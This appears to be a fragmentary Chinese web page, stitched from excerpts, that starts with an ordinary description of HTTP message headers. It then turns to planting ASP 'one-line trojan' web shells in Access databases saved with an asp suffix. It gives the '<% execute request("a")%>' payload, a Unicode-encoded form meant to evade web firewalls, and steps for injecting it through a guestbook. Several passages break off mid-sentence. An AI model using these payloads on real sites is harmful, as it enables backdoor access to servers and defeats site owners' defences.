通常HTTP消 息包括客户机向服务器的请求消息和服务器向客户机的响应消息。这两种类型的消息由一个起始行，一个或者多个头域，一个只是头域结束的空行和可选的消息体组 成。HTTP的头域包括通用头，请求头，响应头和实体头四个部分。每个头域由一个域名，冒号（:）和域值三部分组成。域名是大小写无关的，域值前可以添加 任何数量的空格符，头域可以被扩展为多行，在每行开始处，使用至少一个空格或制表符。 如下图：
很久之前便有利用Asp+Access网站数据库采用asp后缀直接插入一句话木马的介绍了。这里简单总结一下。 为了防范数据库被下载，网站Access数据库中常出现nodown等字段。 其中内容为3C25206C6F6F70203C25，也就是ASP语句中的<% loop <%。由此，如果让我们插入的脚本正常执行，首先一个前提就是闭合<% loop<%。 而为了闭合<
一句话木马的加密，个人感觉，如果碰上了asp后缀的数据库，而且猜出了数据库的路径，那简直就是管理员的恶梦。因为加密后的一句话木马没有任何asp的 标示符！我们只要随便找个可以提交信息的页面，比如说留言板什么的都可以，就可以把一句话木马插到数据库里面。而加密后的一句话木马是不会被过滤的。
现在有不少服务器加了web的防火墙，用来过滤含asp/jsp/php的网马代码，全部用空格替换， 比较讨厌，不过后来刚好想到以前的一句话时候的unicode编码，那就也搞一个吧。 1.新建一个mdb 2.建表，考入：┼攠數畣整爠煥敵瑳∨≡┩> （实际是<% execute request(“a”)%>） 3.改后缀为asp/a
Copyright © 2005-2024 51CTO.COM 版权所有 京ICP证060544号
